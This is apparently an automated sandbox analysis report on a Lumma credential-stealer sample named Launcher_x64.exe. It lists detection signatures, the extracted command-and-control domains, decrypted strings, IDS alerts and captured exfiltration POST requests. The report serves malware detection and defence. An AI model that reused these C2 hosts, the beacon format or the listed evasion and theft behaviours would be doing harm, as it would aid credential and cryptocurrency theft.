Edit tour

Windows Analysis Report
Launcher_x64.exe

Overview

General Information

Sample name:	Launcher_x64.exe
Analysis ID:	1579566
MD5:	a467477e289901e8c45912f98fc56cd2
SHA1:	15be8446db31a669ee930bedf992ef558b121f7f
SHA256:	6a8a3c7873b18093245e953808bef419d56ba8d103eab96d276111ef59992c6f
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Launcher_x64.exe (PID: 2640 cmdline: "C:\Users\user\Desktop\Launcher_x64.exe" MD5: A467477E289901E8C45912F98FC56CD2)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Launcher_x64.exe (PID: 4420 cmdline: "C:\Users\user\Desktop\Launcher_x64.exe" MD5: A467477E289901E8C45912F98FC56CD2)

Launcher_x64.exe (PID: 3336 cmdline: "C:\Users\user\Desktop\Launcher_x64.exe" MD5: A467477E289901E8C45912F98FC56CD2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["sendypaster.xyz", "hosue-billowy.cyou", "smash-boiling.cyou", "pollution-raker.cyou", "ripe-blade.cyou", "greywe-snotty.cyou", "steppriflej.xyz", "supporse-comment.cyou", "bellflamre.click"], "Build id": "LPnhqo--swetamubcoyu"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2556263712.0000000001093000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2602917926.0000000001093000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2555293768.0000000001093000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher_x64.exe PID: 3336	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Launcher_x64.exe PID: 3336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher_x64.exe PID: 3336	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:17:36.641324+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	193.143.1.9	443	TCP
2024-12-23T01:18:08.625788+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	193.143.1.9	443	TCP
2024-12-23T01:18:11.813791+0100	2028371	3	Unknown Traffic	192.168.2.4	49765	23.55.153.106	443	TCP
2024-12-23T01:18:14.333543+0100	2028371	3	Unknown Traffic	192.168.2.4	49772	172.67.157.254	443	TCP
2024-12-23T01:18:16.240837+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	172.67.157.254	443	TCP
2024-12-23T01:18:18.700426+0100	2028371	3	Unknown Traffic	192.168.2.4	49784	172.67.157.254	443	TCP
2024-12-23T01:18:21.007739+0100	2028371	3	Unknown Traffic	192.168.2.4	49790	172.67.157.254	443	TCP
2024-12-23T01:18:23.182176+0100	2028371	3	Unknown Traffic	192.168.2.4	49795	172.67.157.254	443	TCP
2024-12-23T01:18:25.967597+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	172.67.157.254	443	TCP
2024-12-23T01:18:28.978081+0100	2028371	3	Unknown Traffic	192.168.2.4	49807	172.67.157.254	443	TCP
2024-12-23T01:18:32.629372+0100	2028371	3	Unknown Traffic	192.168.2.4	49818	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:18:14.989615+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49772	172.67.157.254	443	TCP
2024-12-23T01:18:17.048776+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49777	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:18:14.989615+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49772	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:18:17.048776+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49777	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:17:04.741497+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.4	61902	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:18:19.696798+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49784	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T01:18:12.592732+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49765	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1731377519.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["sendypaster.xyz", "hosue-billowy.cyou", "smash-boiling.cyou", "pollution-raker.cyou", "ripe-blade.cyou", "greywe-snotty.cyou", "steppriflej.xyz", "supporse-comment.cyou", "bellflamre.click"], "Build id": "LPnhqo--swetamubcoyu"}

Multi AV Scanner detection for submitted file

Source: Launcher_x64.exe

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: Launcher_x64.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pollution-raker.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hosue-billowy.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ripe-blade.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: smash-boiling.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: supporse-comment.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: greywe-snotty.cyou
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: steppriflej.xyz
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sendypaster.xyz
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bellflamre.click
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--swetamubcoyu

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_004182BC CryptUnprotectData,

3_2_004182BC

Source: Launcher_x64.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49807 version: TLS 1.2

Source: Launcher_x64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D29126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00D29126
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D29075 FindFirstFileExW,	2_2_00D29075
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D29126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00D29126

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 2DA07A80h	3_2_0043E950
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C911
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C911
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	3_2_00426A70
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+06h]	3_2_00437A30
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ecx, eax	3_2_0043C591
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov esi, edx	3_2_004085B0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 71B3F069h	3_2_0043E6C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041B841
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then jmp eax	3_2_00409ED1
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+edx+20B50FDAh]	3_2_0042B801
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ecx, eax	3_2_0042B801
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then jmp eax	3_2_0040A03B
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042A940
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov esi, ecx	3_2_00428950
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ebx, dword ptr [esp+50h]	3_2_00428950
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042E106
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, eax	3_2_0042E106
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ebx, eax	3_2_00405910
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ebp, eax	3_2_00405910
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C72EB52Eh	3_2_0043B120
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-702EAD53h]	3_2_00419930
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-702EAD53h]	3_2_00419930
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	3_2_0043B930
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042E1EA
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, eax	3_2_0042E1EA
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042E246
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, eax	3_2_0042E246
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0041524C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-702EAD3Fh]	3_2_0041524C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-702EACABh]	3_2_0041524C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-77E1E040h]	3_2_00409220
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042E234
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, eax	3_2_0042E234
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then add ecx, eax	3_2_0042623D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then jmp ecx	3_2_0043D2D7
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], C7235EAFh	3_2_0043EAF0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042D37F
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+03h]	3_2_00408B10
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebp+2434928Ch]	3_2_00408B10
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then jmp ecx	3_2_0043D3C3
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B90
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [ebx], cl	3_2_0042C393
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, dword ptr [esp+24h]	3_2_00429BA0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov dword ptr [esp+28h], 4E46404Eh	3_2_00429BA0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00407470
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00407470
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then push edi	3_2_0040CCCE
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [esi+ebx*8], C50A68E6h	3_2_0043ADC0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00416DCF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-099F9BB6h]	3_2_00413DE0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edx, eax	3_2_004225EF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 4E935B1Fh	3_2_004225EF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then jmp eax	3_2_004225EF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-702EAD2Bh]	3_2_00414DB4
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx-04F30F77h]	3_2_0042E5B9
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [edx], cl	3_2_0042E5B9
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edx, word ptr [ebp+ecx+02h]	3_2_00438E07
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	3_2_0040A6C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ecx, edx	3_2_0040A6C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2Ch]	3_2_00426EE0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 5E874B5Fh	3_2_00438680
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], BC9C9AFCh	3_2_00438680
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then test eax, eax	3_2_00438680
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0041E6A0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+28h]	3_2_00429EAE
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], E785F9BAh	3_2_00429EAE
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov edi, edx	3_2_0040C773
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then cmp al, 2Eh	3_2_00426F00
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov word ptr [ebx], cx	3_2_0041BF20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041BF20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	3_2_00421F20
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov ecx, edx	3_2_0043CFC0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_004347D0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 4x nop then mov byte ptr [esp+ebx+000001A4h], al	3_2_00409FB5

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.4:61902 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49777 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49777 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49784 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49772 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49772 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49765 -> 23.55.153.106:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: hosue-billowy.cyou
Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: supporse-comment.cyou
Source: Malware configuration extractor	URLs: bellflamre.click

Performs DNS queries to domains with low reputation

Source:	DNS query: sendypaster.xyz
Source:	DNS query: steppriflej.xyz

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 193.143.1.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49765 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49772 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 193.143.1.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49784 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49795 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49818 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49807 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49790 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OMYEZFJQ2JXVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18134Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=49MCAZNGRSS936MHK3OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8797Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q57AHR6AEG435T1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20426Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X3DIBSUGUL5J3X9DJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1260Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X0QYLC67LNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 564957Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
